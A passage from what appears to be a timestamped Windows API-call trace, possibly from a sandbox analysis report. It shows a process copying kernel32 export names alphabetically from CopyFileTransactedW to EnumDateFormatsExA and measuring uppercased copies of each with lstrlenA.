returned="CopyFileTransactedW" [0053.923] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.923] lstrlenA (lpString="COPYFILEW") returned 9 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.923] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.923] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.923] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.923] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.923] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.923] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.923] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.923] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.923] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.923] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.924] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.924] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.924] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.924] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.924] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.924] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.924] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.924] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.924] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.924] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.924] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.924] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.924] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.924] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.924] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.924] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.925] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.925] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.925] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.925] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.925] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.925] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.925] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.925] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.925] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.925] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.925] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.925] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.925] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.925] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.925] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.925] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.925] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.925] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.925] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.925] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.926] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.926] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.926] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.926] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.926] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.926] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.926] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.926] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.926] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.926] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.926] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.926] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.926] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.926] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.926] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.926] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.926] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.926] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.926] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.927] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.927] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0053.927] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0053.927] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0053.927] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0053.927] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0053.927] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0053.927] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0053.927] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0053.927] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0053.927] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0053.927] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0053.927] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0053.927] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0053.927] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0053.927] lstrlenA (lpString="CTRLROUTINE") returned 11 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0053.927] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0053.927] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0053.927] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0053.927] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0053.928] lstrlenA (lpString="DEBUGBREAK") returned 10 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0053.928] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0053.928] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0053.928] lstrlenA (lpString="DECODEPOINTER") returned 13 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0053.928] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0053.928] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0053.928] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0053.928] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0053.928] lstrlenA (lpString="DELETEATOM") returned 10 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0053.928] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0053.928] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0053.928] lstrlenA (lpString="DELETEFIBER") returned 11 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0053.928] lstrlenA (lpString="DELETEFILEA") returned 11 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0053.928] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0053.928] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0053.928] lstrlenA (lpString="DELETEFILEW") returned 11 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0053.928] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0053.928] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0053.928] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0053.929] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0053.929] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0053.929] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0053.929] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0053.929] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0053.929] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0053.929] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0053.929] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0053.929] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0053.929] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0053.929] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0053.929] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0053.929] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0053.929] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0053.929] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0053.929] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0053.929] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0053.929] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0053.929] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0053.930] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0053.930] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0053.930] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0053.930] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0053.930] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0053.930] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0053.930] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0053.930] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0053.930] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0053.930] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0053.930] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, 